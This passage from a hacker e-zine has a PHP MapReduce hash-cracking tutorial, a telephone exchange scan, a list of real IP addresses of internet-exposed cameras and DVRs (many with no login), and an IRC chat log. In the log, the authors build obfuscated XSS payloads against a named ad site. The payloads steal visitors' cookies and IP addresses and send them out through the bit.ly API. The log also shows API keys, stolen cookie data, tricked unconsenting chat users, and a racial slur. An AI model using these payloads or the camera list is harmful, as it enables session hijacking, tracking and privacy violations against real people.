|referred to as a cluster. Computational processing can occur on data stored either
|in a filesystem (unstructured) or within a database (structured).
| - Wikipedia
Now that that's out of the way, lets move onto real code and see how this works in the given
implementation.
Firstly, what software is providing the backend infrastructure?
The implementation relies on the following:
Web server: Apache or whatever you have as long as it supports PHP.
MySQL
That's it. The clients run from php-cli but can also be called by the web server if desired.
The MySQL tables that the scripts interact with are very simple:
/------------------------------------------------------------------------------------
| CREATE TABLE IF NOT EXISTS `node` (
| `id` varchar(32) NOT NULL,
| `type` int(11) NOT NULL,
| `job_id` varchar(32) NOT NULL,
| `last_connect` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
| UNIQUE KEY `id` (`id`)
| ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
|
| CREATE TABLE IF NOT EXISTS `job` (
| `id` varchar(32) NOT NULL,
| `status` int(11) NOT NULL,
| `time_added` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
| `mappers` int(11) NOT NULL,
| `reducers` int(11) NOT NULL,
| `time_started` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
| PRIMARY KEY (`id`)
| ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
|
These tables provide the necessary framework for this given implementation, while demonstrating
simple MapReduce structure in an obvious yet functional manner. Should MapReduce be used in a
production environment, a more efficient, scientifically-designed framework should be used. High
performance applications should most likely not be using an interpreted language, additionally.
Obviously, these tables are of no use without the scripts that interact with the database. The
main script that facilitates this interaction is 'stat.php'. It provides a vector for the nodes to
talk with the master, in most cases, it keeps track of the nodes' last connect time and assigns the
job of either 'mapper' or 'reducer' to each. The code is straightforward, and the source code
should be relatively self-explanatory by scanning over it. So, the next step is to determine the
method of relaying data between master and node. The data is structured in EL markup files, which
look suspiciously similar to existing markup languages like HTML and XML:
/------------------------------------------------------------------------------------
| <EL>
| <id>ec366edc8a513f467af89f2e5cd9f37a</id>
| <type>SET</type>
| <payload name="job_id">
| 85103e20ac8441af181b15f58fc53b08
| </payload>
| </EL>
|
The "id" tag contains the ID of the node. The "type" tag tells the node to perform a specific
action, in this case, to set its "job_id" to the payload. The "payload" tag holds the data that
will be assigned to a variable stored on the node. It is named such that the variable is assigned
correctly. In this particular packet, the information between the opening and closing "payload"
tags is an MD5 hash, though it does not always have to be. However, protocol defines that the
payload must only be alphanumeric (only contains numbers or letters). If the "type" tag is set to
"FILE", then the payload should be treated as Base64-encoded data. This protocol is simple but
allows for easy parsing and greater flexibility.
Here is an example handshake performed between node and master. This handshake is initiated by
a node upon startup to seek new jobs:
/---------------------------------------------------------------------------------------------\
|http://127.0.0.1/map_reduce_zine/stat.php?id=ec366edc8a513f467af89f2e5cd9f37a&status=starting|
\---------------------------------------------------------------------------------------------/
|
|
/-------------------------------------------------\
| <EL> |
| <id>ec366edc8a513f467af89f2e5cd9f37a</id> |
| <type>REQUEST</type> |-----------------------\
| </EL> | |
\-------------------------------------------------/ |
|
|
/--------------------------------------------------------------------------------------------\
|http://127.0.0.1/map_reduce_zine/stat.php?id=ec366edc8a513f467af89f2e5cd9f37a&status=whatami|
\--------------------------------------------------------------------------------------------/
|
|
/-------------------------------------------------\
| <EL> |
| <id>ec366edc8a513f467af89f2e5cd9f37a</id> |
| <type>SET</type> |
| <payload name="type"> |
| reducer |-----------------------\
| </payload> | |
| </EL> | |
\-------------------------------------------------/ |
|
|
/--------------------------------------------------------------------------------------------\
|http://127.0.0.1/map_reduce_zine/stat.php?id=ec366edc8a513f467af89f2e5cd9f37a&status=looking|
\--------------------------------------------------------------------------------------------/
|
|
/-------------------------------------------------\
| <EL> |
| <id>ec366edc8a513f467af89f2e5cd9f37a</id> |
| <type>SET</type> |
| <payload name="job_id"> |
| 85103e20ac8441af181b15f58fc53b08 |
| </payload> |
| </EL> |
\-------------------------------------------------/
Once the node has received a job, it will send another request to the master for the script and
data files. The job files, which contain the split up work, are then stored in a folder specific to
that job_id. To retrieve jobs files from the folder, the follow script is used:
/------------------------------------------------------------------------------------
|#job_chunks.php
|$dir = opendir( "./chunks/$job_id" );
|
|if( $dir )
|{
| do
| {
| $thing = readdir( $dir );
|
| if( $thing == FALSE )
| {
| rmdir( "./chunks/$jobs_id" );
| die;
| }
|
| if( $thing == "." || $thing == ".." )
| continue;
| else
| break;
|
| }while( true );
|
| if( $thing && $thing != "." && $thing != ".." )
| {
| $output = "<EL>\r\n";
| $output .= "\t<id>$id</id>\r\n";
| $output .= "\t<type>FILE</type>\r\n";
| $output .= "\t<payload name=\"chunk\">\r\n";
| $output .= "\t\t".base64_encode( file_get_contents( "./chunks/$job_id/$thing" ) )."\r\n";
| $output .= "\t</payload>\r\n";
| $output .= "</EL>";
| unlink( "./chunks/$job_id/$thing" );
| closedir( $dir );
| echo $output;
| }
|}
|
This code grabs the next chunk from the directory and wraps it as a EL packet, where the output
is then sent to the node.
From here, mapper nodes will process this chunk of data and start a small, one-time use web
server. The reducer nodes request the IP:PORT of a mapper node, grabbing the result. After doing
so, they further process the data and upload their results to the master.
The master does a final reduction step on the reduced results and produces a final, usable
result that is downloaded by the administrator.
Although very much functional, the implementation that is given with this article possesses a
few inherent issues:
1) If a node does not complete a job, then that node's results are lost.
2) There is no redundancy of nodes.
3) The code as a whole was not written with security in mind. Testing should only be
performed on a private network.
4) It uses HTTP to transfer messages, which makes the code easy to write in exchange for
introducing an enormous amount of overhead.
5) Speed gains from distributing the cracking process among multiple nodes is negated by the
fact that nodes request chunks more quickly than other nodes are able to download them,
resulting in multiple nodes receiving the same chunk. Requesting a chunk is not a
"blocking" operation. This resulted in a dirty code hack using random sleep times.
With that being said, this project still serves as a good learning tool to those interested in
the MapReduce algorithm.
Download the source package for this article:
http://www.gonullyourself.org/zine/4/MapReduce.tar.gz
MD5sum: d985ffa4b2fcd63d2a6275697acf252e
SHA1sum: fb798594216e87b51fd194db1a31e580ebe47a7d
A few things need to be done first before testing this code. First, the config.ini files should
be updated to point to the URL of your web server and the folder the MapReduce code is installed in.
The default is "http://127.0.0.1/map_reduce_zine". Once the configs have been updated correctly,
the nodes are ready to run; however, the master must be set up first. Import and create the tables
in map_reduce.sql. To make sure the master runs without problems, just be lazy and chmod 777 all
the directories. For what we're doing, it really doesn't matter. Now, all the configurations are
complete. To test the MapReduce cluster, initialize two or more nodes locally by running the
"client.php" file in each of the "testing" folders. Once they are running, they will begin to poll
the master for work.
To add a job to the cluster, navigate to "add_job.php" in your browser. From here, add the
corresponding files from the "example" directory. Once a job is added, the nodes will automatically
grab the work script and any data needed to perform the job. Once the nodes are done with their
work, they will begin to poll for new jobs. The example scripts and data are to find the plain text
string "elchupathingy" from the hash in the "node_script.php". To see if it worked, browse to
"show_results.php" and select the link there; it will run the "post-process" script and, in this
case, display the plain text.
lata, ELChupathingy
[==================================================================================================]
-=[ 0x09 Camera/DVR Scan
-=[ Author: storm
-=[ Email: [email protected]
-=[ Website: http://gonullyourself.org/
Oh, the joys of nmap.
Open access (no login)
----------------------
http://165.98.238.72/view/index.shtml
http://165.98.238.75/view/index.shtml
http://165.98.238.78/view/index.shtml
http://186.1.14.117/view/index.shtml
http://24.1.5.61:8082/Simple/index.htm
http://24.1.10.154:81/
http://24.1.12.248:1028/
http://24.1.26.48/img/main.cgi?next_file=main.htm
http://72.250.135.252:1024/img/image.cgi?next_file=main_fs.htm
http://74.237.69.5/main.cgi?next_file=main.htm
http://83.227.138.166/main.cgi?next_file=main.htm
http://75.61.194.41:1024/main.cgi?next_file=index_in.htm
http://193.87.102.25/img/main.cgi?next_file=main.htm
http://213.198.245.70/img/main.cgi?next_file=main.htm
http://74.237.69.5/main.cgi?next_file=main2.htm
http://pineairewebcam.dyndns.org/
http://217.159.181.99/
http://193.138.213.166/
http://72.2.138.209:81/
http://ajs01.dyndns.org/
http://62.106.98.204/
http://80.54.239.234/
http://195.47.194.200/
http://78.36.109.5/
http://www.zodiac-bg.com/files/Jview.htm
http://82.107.211.3/
http://84.53.31.54/
http://129.170.124.12/
http://193.178.224.10/
http://chrastal.homeip.net:5050/
http://194.112.215.163/
http://129.70.141.62/
http://209.94.75.172/
http://75.149.126.138:89/
http://67.53.198.178/
http://128.103.101.254/
http://157.157.79.85/
http://208.71.234.122/
http://24.25.42.218:52210/
http://65.182.241.193/
http://216.117.210.183:86/
http://203.213.212.174:1365/
http://142.217.181.117:89/
http://87.243.178.244/
http://81.138.9.30:81/
http://122.3.81.6:82/
http://68.101.243.94:82/
http://80.13.146.246/
http://64.203.239.75/
http://193.251.181.104/
http://213.110.240.157/
http://216.160.181.242:10083/
http://67.242.57.128:86/
http://www.rmackey.com/
http://71.194.73.80:4343/
http://209.117.235.143/
http://71.157.136.110:81/
http://216.129.211.131/
http://217.133.212.61/
http://143.107.3.149/
http://210.230.126.237:82/
http://62.147.232.188/
http://216.137.100.129:81/
http://210.230.133.76:82/
http://222.3.77.52:81/
http://222.11.124.75:81/
http://116.64.17.198/
http://210.249.10.81:81/
http://220.217.129.21:81/
http://210.249.21.157:82/
http://222.1.186.218:81/
http://221.119.133.176:81/
http://213.160.168.72/
http://61.204.127.233:82/
http://222.3.114.56:81/
http://71.110.145.16:89/
http://89.234.195.78/
http://99.135.117.196/
http://65.99.253.134/
http://222.11.60.180:81/
http://61.117.29.119:81/
http://82.176.123.82/
http://66.203.223.50:82/
http://24.20.88.10:84/
http://24.19.205.82:8095/
http://59.133.145.190:82/
http://68.16.245.20/
http://220.214.128.66:82/
http://124.105.235.84/
http://222.5.86.181:82/
http://210.169.100.66:82/
http://222.13.239.47:82/
http://208.54.215.145/
http://66.35.88.6/
http://98.112.171.186:81/
http://59.133.146.58:82/
http://195.131.161.122:85/
http://208.71.217.253:50001/
http://220.217.122.193:81/
http://222.15.48.210:82/
http://220.217.130.205:81/
http://98.190.143.254:23/
http://200.124.240.142:8086/
http://70.154.139.169:83/
http://205.250.69.239:81/
http://124.45.116.105:81/
http://61.204.122.175:82/
http://173.46.175.162:32000/
Login required
--------------
https://24.206.4.253/index.htm
http://24.231.40.38/
http://24.231.41.232/
http://24.231.50.181/
http://24.231.54.90/
http://24.244.132.179/
http://24.244.134.63/
http://24.244.135.87/
http://24.244.135.250/
http://216.137.0.39/auth.html
http://216.137.11.89/
http://24.244.145.66:8080/
http://24.244.145.182/
http://24.244.146.129/
http://24.244.146.192/
http://24.244.180.229/
http://64.150.197.130/
http://64.150.207.20/
http://64.150.210.159/
http://64.150.220.6/
http://64.150.220.67/
http://64.150.222.210/
http://64.150.231.141/
http://64.150.237.8/
https://64.150.238.144/auth.html
http://64.150.245.160/
http://65.75.92.213/
http://65.75.96.59/
http://65.75.107.70/
http://65.75.114.105/
http://65.75.115.236/
http://200.4.168.164/
http://200.80.109.38/
http://186.1.3.18/
http://186.1.3.69/
http://186.1.10.155/
http://190.106.11.19/
http://190.106.11.20/
http://190.106.14.14/
http://190.106.19.67/
http://190.184.94.41/
http://165.98.224.67/
http://165.98.235.2/
http://165.98.236.114/
http://186.1.14.180/
http://186.1.14.181/
http://186.1.14.182/
http://190.106.11.18/
http://190.184.23.39/
http://190.184.35.95/
http://190.184.40.114/
http://190.184.43.97/
http://190.184.45.153/
http://190.184.72.105/
http://190.212.134.190/
http://190.212.134.242/
http://196.200.49.162/
http://24.1.10.135:1050/
http://24.1.13.39:8080/
http://24.1.16.206/
http://186.1.10.156/login.html?1600&1
http://190.106.4.27/
[==================================================================================================]
-=[ 0x0a 303-833-00xx Scan
-=[ Author: Shadytel, Inc
-=[ Website: http://www.shadytel.com/
0001 - Expanded Announcement System (no supe)
0002 - Ringout
0003 - Ringout
0004 - Ringout
0005 - Reorder via SS7?
0006 - Burst of 2200 hz
0007 - Ringout
0008 - Busy signal via distant end
0009 - 102-type milliwatt, hangs up after ~3 cycles
0010 - Same as 0009
0012 - Busy via SS7
0013 - Coin deposit rec
0018 - LD service restricted rec
0020 - Reorder via SS7
0021 - Ringout
0022 - Ringout
0030 - Ringout
0031 - Ringout
0032 - Ringout
0034 - Ringout
0035 - Ringout
0036 - Ringout
0037 - Ringout
0038 - Modem - 7/E/1,
*displays TID:, then garbage, then TID too long. Please try again.*
0039 - Something picks up silently after two rings. Faint clicking noise is sometimes audible.
0041 - Ringout
0057 - 105-type test
0058 - Something via SS7? Recheck
0065 - rec, "Remember, you must dial one plus your area code, or zero plus your area code and the
number for long distance and operator assisted calls."
0066 - Dialing 1/0 not necessary rec
0067 - Dial 1 first rec
0068 - 100-type milliwatt
0069 - Dialing 0 not necessary rec
0070 - YCDNGT
0075 - YCDNGT
0076 - CBCAD/call your operator to help you
0077 - CBCAD/check your instruction manual
0078 - Permanent signal rec
0080 - Low tone
0081 - Same as 0078
0082 - Coin deposit rec
0083 - LD service restricted rec
0084 - CAC error rec
0085 - Tandem CBCAD recording?
0086 - Dialing CAC not necessary rec
0087 - Network difficulties rec
0089 - CAC error rec
0090 - ACB rec
0091 - Busy via SS7
0098 - Reorder via SS7?
0099 - DATU
[==================================================================================================]
-=[ 0x0b bit.ly Shenanigans (aka, XSS is hard bro)
-=[ Author: Silks, elchupathingy
-=[ IRC: irc.gonullyourself.org #gny
Now, while we could neatly explain how we built up our implementation of this trick, it wouldn't
really capture our thought process and just general fucking around. At some point, during the early
hours of the morning, I pondered the idea of grabbing a fellow #gny chatter's IP for the lulz.
Knowing that JavaScript has no reliable function for retrieving a client's IP, the best approach was
to use a standard whatismyip.com site to grab the IP. With the IP address theoretically in my hands,
I approached elchupathingy for ideas of how to export that information without any server-side ties.
After some playing around, we came up with a solution that would gather and store a victim's IP
address in a clever manner, and then redirect them to a final destination as expected. Here is our
chat log (mildly edited to hide moments of stupidity) which explains how we built this up.
-Silks
Silks: do you know of a site that is like a persistent xss but not even xss?
Silks: will just store info temporary
Silks: like
Silks: x.php?q=lolIstolethisguysip:1.1.1.1
elchupathingy: could use bit.ly to store it
Silks: how so
elchupathingy: it stores links you shorten
Silks: basically, did you see my XSS, JS+PHP implementation?
elchupathingy: don't think so
elchupathingy: hmm storing people's info using bit.ly is kind of sly now that i think about it
elchupathingy: lol
elchupathingy: http://bit.ly/gsfxLp
elchupathingy: see what the link expands to
Silks: how would you create that though from JS?
elchupathingy: one sec
elchupathingy: "http://api.bitly.com/v3/shorten?login=$bitlylogin&apiKey=$bitlyapi&format=json&longU
rl=http://google.com/search?q=".shit_goes_here
Silks: k
elchupathingy: http://api.bitly.com/v3/shorten?login=elchupathingy&apiKey=R_316895177c5be2a28cc9f0b2
52495179&format=json&longUrl=http://google.com/search?q=luls
elchupathingy: just a GET or inclusion should work
Silks: I guess if you can see the details in your bit.ly account that will export the info
elchupathingy: http://google.com/search?q=USER:elchupathingy:PASS:lolpasssowrd
elchupathingy: thats what it would look like
Silks: I know man
Silks: but you are ignoring the actual problem
Silks: the point is, getting the data from the victims client to you
Silks: so if bit.ly account store recently created urls
Silks: then you can access that bit.ly and extract the info
elchupathingy: ya
elchupathingy: woot got the cookie via xss and bit.ly
elchupathingy: lol
elchupathingy: in a ungodly long xss string
Silks: rofl
Silks: so like
elchupathingy: <script>;var x=new XMLHttpRequest();x.open(String.fromCharCode(71,69,84),String.fromC
harCode(104,116,116,112,58,47,7,97,112,105,46,98,105,116,108,121,46,99,111,109,47,118
,51,47,115,104,111,114,116,101,110,63,108,111,103,105,110,61,101,108,99,104,117,112,9
7,116,104,105,110,103,1,38,97,112,105,75,101,121,61,82,95,51,49,54,56,57,53,49,55,55,
99,53,98,101,50,97,50,57,99,99,57,102,48,98,50,53,50,52,57,53,49,55,57,38,2,111,114,1
09,97,116,61,106,115,111,110,38,108,111,110,103,85,114,108,61,104,116,116,112,58,47,4
7,103,111,111,103,108,101,26,99,11,10,47,115,101,97,114,99,104,63,113,61).concat(docu
ment.cookie));x.onreadystatechange=function(){};x.send();</script>
elchupathingy: lol
elchupathingy: ungodly long
Silks: win
Silks: funny thing is
Silks: you can then just bit.ly that long url
elchupathingy: exactly lol
elchupathingy: and bit.ly will keep track of the people that click on it lol
elchupathingy: at the same time of sending you their cookie
Silks: guessing the api can retrieve links too
Silks: so you can probably write a quick app to grab it back
elchupathingy: yep
elchupathingy: well what ya mean?
elchupathingy: short url to the info?
Silks: well
Silks: say you wanna xss like 100 people
Silks: everytime someone gets owned they create a new bit.ly
Silks: so you write an app that connects to bit.ly api and retrieves new bit.ly's
Silks: and from that grabs the redirect url and parses the data
elchupathingy: maybe
elchupathingy: have to look over the api real quick
Silks: but yeah you can break it down to two commands
elchupathingy: can get the countries for each link, statistics on number of clicks and referrrers
Silks: bit_xxs_ify <data you want>
Silks: spits out a bit.ly link that links to the long url
Silks: I guess somehow you'd need to inject what you want
Silks: like "document.cookie"
Silks: or just have a menu of all the options
Silks: bit_xss_ify cookie
Silks: bit_xss_ify ip
Silks: etc
Silks: then you'd need
Silks: bitly_to_data
elchupathingy: ok can get the top 100 urls
elchupathingy: through their api
Silks: which will grab all your bit.ly urls and push new ones into db
elchupathingy: http://bit.ly/fUGVEO
Silks: pro stream music
elchupathingy: click that wanna see if it works
Silks: put it in search box
Silks: didn't exe
Silks: https://api-ssl.bitly.com/v3/user/clicks?access_token=BITLY_ASSIGNED_ACCESS_TOKEN&days=7
Silks: oh nvm
elchupathingy: nah got it
elchupathingy: __qca=A0-153091312312-1291239025123263; __utmz=201001501.1201336810.6.6|utmccn=(refer
ral)|utmcmd=referral|utmcct=/english/4245268-hf-trance-tiesto-vs-mark-knight-feat-din
o-beautiful-world-original-mix.html; TRUID=12957903034531; CKTIME=1301436534; __utma=
251001561.940844074.1295790257.1297648116.1301436811.6
Silks: right realtime_links
elchupathingy: lol
Silks: what's that?
elchupathingy: your click
Silks: lolz
Silks: weird how that was referrer
Silks: was from a blank tab
elchupathingy: ya
elchupathingy: but ya works fine
Silks: stop stealing mah cookies
elchupathingy: nom nom cookies
Silks: ahh it was just cookies
Silks: weird, my cookies show all that info? :\
elchupathingy: ya
Silks: ahh google analytics bs
elchupathingy: TRUID=13018098525591; CKTIME=1301809854; popunder=yes; popundr=yes; setover18=1
Silks: tracking cookie
elchupathingy: thats mine
Silks: check my latest one
Silks: sec
elchupathingy: http://bit.ly/hbMGMA much better lol
Silks: WHY?
elchupathingy: cats are awesome
elchupathingy: lol
elchupathingy: u know
elchupathingy: that hurts my feelings
Silks: rofl
Silks: was trying to tamper data it
Silks: but realised that wasn't the actual cookie
elchupathingy: oh haha
Silks: so just spammed your link
Silks: lolz
elchupathingy: with hte same thing?
Silks: pro music
Silks: http://api.bitly.com/v3/shorten?login=elchupathingy&apiKey=R_316895177c5ce2a29cc9f0b252495179
&format=json&longUrl=http://google.com/search?q=ELCHUPATHINGY_IS_A_NIGGER
elchupathingy: doesn't work with the same thing lol
Silks: i can change the cookie in tamper data
Silks: but
Silks: the js is grabbing document.cookie
Silks: and I can't change the url
Silks: maybe in webgoat but cba loading that
elchupathingy: ah
elchupathingy: but that hurts
elchupathingy: i mean all caps
Silks: shutup
Silks: you stole my cookies
elchupathingy: you clicked the fucking link lol
Silks: I trusted you ;(
elchupathingy: haha
Silks: bah this is so dumb
elchupathingy: lol
elchupathingy: hmm
elchupathingy: but the bit.ly thing is nice because it guarantees unique cookies
Silks: what do you mean?
elchupathingy: it hashes the url
elchupathingy: and my username
elchupathingy: so if the same person comes to the site the cookie will probably be the same and not
be sent again
elchupathingy: see if anyone in #gny clicks my link lol
Silks: nub
Silks: shoulda got it to steal their ip
elchupathingy: lol
elchupathingy: well too late
Silks: can do it later
elchupathingy: ya
elchupathingy: oh thats cool u can modify what the hashes bit.ly goes to
elchupathingy: so u could edit the xss as its happening lol
elchupathingy: nvm just title
Silks: <!--#echo var="REMOTE_ADDR"-->
Silks: weird
Silks: fucking ssi shit
elchupathingy: ya
elchupathingy: well nvm not getting anything from the two clicks lol
Silks: hmm
elchupathingy: but there seems to be confusion over what it is
Silks: that xss, can you get it to alert?
elchupathingy: ya it's the same one i used to get your cookie
elchupathingy: just have a feeling they are using noscript
Silks: where is it executing?
elchupathingy: in body
Silks: the results span?
elchupathingy: <div class="response_time">Results for <span>
Silks: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=%3Cscript%3Edocument.write(document.
cookie);%3C/script%3E
Silks: ahh
Silks: works
Silks: alert doesn't
elchupathingy: oh no strings
elchupathingy: gets escaped
elchupathingy: <script>alert(123)</script> works
Silks: what I just pasted works
elchupathingy: ya
Silks: weird that document.alert doesn't work
Silks: or
Silks: yeah i'm just being dumb
elchupathingy: lol
Silks: hmm
Silks: there is one whatismyip site that returns your ip as text with a specific url
elchupathingy: ya i used that
Silks: link
elchupathingy: sec
elchupathingy: http://www.whatismyip.com/automation/n09230945.asp
Silks: hmm
Silks: technically got it working
Silks: but getting owned by access-control-allow-origin
elchupathingy: getting the ip? or getting it to work as a xss?
Silks: printing the ip
Silks: once I got it, easymode
Silks: that specific XSS site though doesn't allow for it
elchupathingy: ah
Silks: hmm
Silks: but then, that is odd that yours works
Silks: ahh, something to do with actually accessing the method
Silks: as readystagechange or w/e
elchupathingy: im sending the request which is cool
Silks: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=%3Cscript%3Evar%20x%20=%20new%20XMLH
ttpRequest();x.open(String.fromCharCode(71,69,84),String.fromCharCode(104,116,116,112,58,47,4
7,99,104,101,98,107,105,112,46,99,121,110,100,110,115,46,99,111,109,47));x.onreadystatechange
=function(){%20alert(x.status);%20};x.send();%3C/script%3E
Silks: SAFE
Silks: honestly
Silks: not a dirty liar like you
elchupathingy: lol
elchupathingy: 0,0,0,0
Silks: ?
elchupathingy: alert boxes
Silks: yeah
Silks: that's with x.status
Silks: should be 200
Silks: if you fire up JS console you will see the error
elchupathingy: not getting an error
Silks: browser?
elchupathingy: ff4
Silks: oh it's fucking chrome
elchupathingy: im mean i get a error on the page but its there no matter what
elchupathingy: $(document).pngFix
elchupathingy: is not a function
Silks: although it's still not quite right
Silks: still should return 200
elchupathingy: ya
Silks: well it is grabbing 200
Silks: something up with code
Silks: meh down to this origin bs
Silks: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=%3Cscript%3Evar%20x%20=%20new%20XMLH
ttpRequest%28%29;x.open%28String.fromCharCode%2871,69,84%29,String.fromCharCode%28104,116,116
,112,58,47,47,99,104,101,99,106,105,112,46,100,121,110,100,110,115,46,99,111,109,47%29,true%2
9;x.onreadystatechange=function%28%29{if%28x.readyState%20==%204%29%20{%20if%28x.status%20==%
20200%29%20{%20alert%28x.responseText%29;%20}}};x.send%28null%29;%3C/script%3E
Silks: code effectively works
Silks: well maybe, on another host
Silks: but if you can host a file elsewhere then you can either chain JS where it does work or use
PHP etc
elchupathingy: ya
elchupathingy: think i got it
elchupathingy: one sec
elchupathingy: Silks: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=%3Cscript%3E;var%20x%
20=%20new%20XMLHttpRequest%28%29;x.open%28String.fromCharCode%2871,69,84%29,String.fr
omCharCode%28104,116,116,112,58,47,47,96,111,105,46,104,111,115,116,105,112,46,105,11
0,102,111%29,true%29;x.onreadystatechange%20=function%28%29{if%28x.readyState==4%29{a
lert%28x.responseText.match%28new%20RegExp%28String.fromCharCode%2892,100,120,49,44,5
1,125,92,46,92,100,123,49,44,51,125,92,46,92,100,123,49,44,51,125,92,46,92,100,123,49
,44,51,125%29%29%29%29;}};x.send%28%29;%3C/script%3E
elchupathingy: http://bit.ly/f1Ygcc :D
Silks: nice work elchupathingy
Barney-: =]
Barney-: what happened
Silks: umm, we were messing around with XSS
Barney-: rgr
Silks: now have XSS code that can steal your IP
Silks: well, it grabs the IP, gonna add it to what elchu was working on earlier, storing it in
bit.ly links
Barney-: hmm
Silks: yeah Barney-, check this
Barney-: ??
Silks: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=%3Cscript%3E;var%20x%20=%20new%20XML
HttpRequest();x.open(String.fromCharCode(71,69,84),String.fromCharCode(104,116,116,112,58,47,
47,97,112,105,46,104,111,115,116,105,112,46,105,110,102,111),true);x.onreadystatechange%20=%2
0function(){if(x.readyState==4){alert(x.responseText);}};x.send();%3C/script%3E
Silks: this will print the response page of a whatismyip site
Barney-: very cool
Silks: I was trying with a different site and it was failing
Barney-: thats real cool actually
Silks: elchu tried with that one
Silks: and then used regex
Silks: so
Silks: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=<script>;var%20x%20=%20new%20XMLHttp
Request();x.open(String.fromCharCode(71,69,84),String.fromCharCode(104,116,116,112,58,47,47,9
7,112,105,46,104,111,115,116,105,112,46,105,110,102,111),true);x.onreadystatechange%20=functi
on(){if(x.readyState==4){alert(x.responseText.match(new%20RegExp(String.fromCharCode(92,100,1
23,49,44,51,125,92,46,92,100,123,49,44,51,125,92,46,92,100,123,49,44,51,125,92,46,92,100,123,
49,44,51,125))));}};x.send();</script>
Silks: also we were discussing how to export info and talked about creating bit.ly links with APIs
Silks: found out that it is possible to retrieve newly created links in the API too
Silks: so..
Barney-: but
Barney-: how do you figure out
Barney-: the bit.ly link
Barney-: after its been created
Silks: because of a bit.ly account
Silks: so
Silks: http://api.bitly.com/v3/shorten?login=elchupathingy&apiKey=R_316895177c5ce2a29cc9f0b252495179
&format=json&longUrl=http://google.com/search?q=
Silks: will create the url
Barney-: ah ok ok
Barney-: so you login to the account
Silks: and you can export the data but adding it to q=
Barney-: but we don't want IPs we want coookies
Silks: idd
Silks: so
Silks: if you look at the url above
Silks: you just do
Silks: http://api.bitly.com/v3/shorten?login=elchupathingy&apiKey=R_316895277c5ce2a29cc9f0b252495179
&format=json&longUrl=http://google.com/search?q= + document.cookie
Barney-: ah rgr
Silks: specifically that above looks like
Silks: String.fromCharCode(104,116,116,112,58,47,47,97,112,105,46,98,105,116,108,121,46,99,111,109,4
7,118,51,47,115,104,111,114,116,101,110,63,108,111,103,105,110,62,101,108,99,104,117,112,97,1
17,104,105,110,103,121,38,97,112,105,75,101,121,61,82,95,51,49,54,56,57,53,49,55,55,99,53,98,
101,50,97,50,57,99,99,57,102,48,98,50,53,50,52,57,53,49,55,57,38,102,111,114,109,97,116,61,10
6,115,111,110,38,108,111,110,103,85,114,108,61,104,116,116,112,58,47,47,103,111,111,103,108,1
01,46,99,111,109,47,115,101,97,114,99,104,63,113,61).concat(document.cookie));
Silks: so since I've woke up and elchu found the ip, I'm gonna combine both of them so it will store
an IP in a bit.ly account
Barney-: ya but in what type of attack scenario would IP be helpful?
Silks: was saying before, obviously we can just store all this info in the same way I did with my
XSS session stealer. call a .php and store it in a db
Barney-: dont get me wrong its cool, just wondering application
Barney-: could do it easier
Barney-: and be like
Barney-: hey visit www.silks.com/index.php?id=4 (where id isn't even a var...)
Barney-: it'll 404, and show up in access_log
Barney-: voila
Silks: hence what I said above but yeah
Silks: this is just a way of doing it without any hosting etc
Barney-: true
Silks: and pretty interesting to be storing info in bit.ly links
Silks: that page wouldn't 404 if you just added a get var
Silks: funny thing is, when you've made the full XSS you can just package it up in a bit.ly
Silks: elchu posted it in #gny and a couple of people clicked and didn't even understand what
happened
Silks: specifically, Compound and jmp got XSS'ed and knew no better
Barney-: hahah
Barney-: a bit.ly starts the XSS
Barney-: and ends up in a bit.ly
Barney-: hence why I don't trust you
Barney-: and i go curl -I silks-dumb-links.com
Silks: almost done
Silks: gonna own #gny
Silks: Barney-
Silks: mind testing this?
Silks: http://bit.ly/e93lCU
Silks: bit.ly/gvZPM8
Barney-: Location: http://ads.clicksor.com/newServing/yesupSearch/web.php?q=<script>var x = new XMLH
ttpRequest();x.open(String.fromCharCode(71,69,84),String.fromCharCode(104,116,116,112,58,47
,47,92,112,105,46,103,111,12,116,105,112,46,105,110,102,111),true);x.onreadystatechange =fu
nction(){if(x.readyState==4){var ip = x.responseText.match(new RegExp(String.fromCharCode(9
2,100,123,49,44,51,125,92,46,92,100,123,49,44,51,125,92,46,92,100,123,49,44,51,125,92,46,92
,100,123,49,44,51,125)));var y=new XMLHttpRequest();y.open(String.fromCharCode(71,69,84),St
ring.fromCharCode(104,116,116,112,58,47,47,97,112,105,46,98,105,116,108,121,46,99,111,109,4
7,118,51,47,115,104,111,114,116,101,110,63,108,111,103,105,110,61,115,105,108,107,115,121,3
8,97,112,105,75,101,121,61,82,95,98,100,102,57,54,101,56,51,55,49,51,99,50,50,55,48,50,52,5
3,55,55,48,102,55,101,99,56,48,56,98,49,100,38,102,111,114,108,97,116,61,106,115,111,110,38
,108,111,110,103,85,114,107,61,104,116,116,112,58,47,44,103,111,111,103,108,101,46,99,111,1
09,47,115,101,97,114,99,104,63,113,61).concat(ip));y.send();}};x.send();</script>
Barney-: MIME-Version: 1.0
Barney-: Content-Length: 1177
Barney-: how do you pass a mime-version
Barney-: with no mime type
Silks: probably to do with the bit.ly link
elchupathingy: just woke up
Silks: tricked a few people lolz
elchupathingy: ya saw
elchupathingy: i was happy with the ip lol
elchupathingy: but having to add in the random ass semicolons was annoying
Silks: I'm thinking it might be possible to use browser location tracking to grab data
elchupathingy: probably
Silks: you know the browser sends a list of all the access points and macs near you
Silks: crazy shit
Silks: then you can use those macs with google api to triangulate your position
elchupathingy: never tried to use it
Silks: crazy how much data your browser sends though
elchupathingy: ya
Silks: would be lol to XSS->triangulated position
Silks: similar shit to what samy did
Silks: but without being a fucking tool
elchupathingy: heh
elchupathingy: well you can get it but ff asks for permission to get the lat,lng
Silks: yeah
Silks: but if location tracking is enabled it goes through
elchupathingy: true then its fucking simple lol
Silks: you're fucking simple
Silks: think only in the past 6 months-year they started asking users tbh
elchupathingy: function loc(p) { alert( p ); }navigator.geolocation.getCurrentPosition(loc);
elchupathingy: er
elchupathingy: function loc(p){alert(p.coords.latitude+","+p.coords.longitude);};navigator.geolocati
on.getCurrentPosition(loc);
Silks: listening to that song you stole from my cookies
